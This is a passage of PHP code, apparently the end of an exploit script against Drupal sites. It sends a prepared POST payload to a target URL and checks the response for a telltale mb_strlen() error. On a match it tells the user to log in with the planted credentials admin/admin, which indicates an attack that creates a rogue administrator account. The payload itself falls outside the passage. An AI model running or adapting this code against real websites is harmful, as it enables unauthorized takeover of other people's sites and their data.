array( 'method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => $post_data ) ); $ctx = stream_context_create($params); $data = file_get_contents($url . '?q=node&destination=node', null, $ctx); if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) { echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login"; } else { echo "Error! Either the website isn't vulnerable, or your Internet isn't working. "; }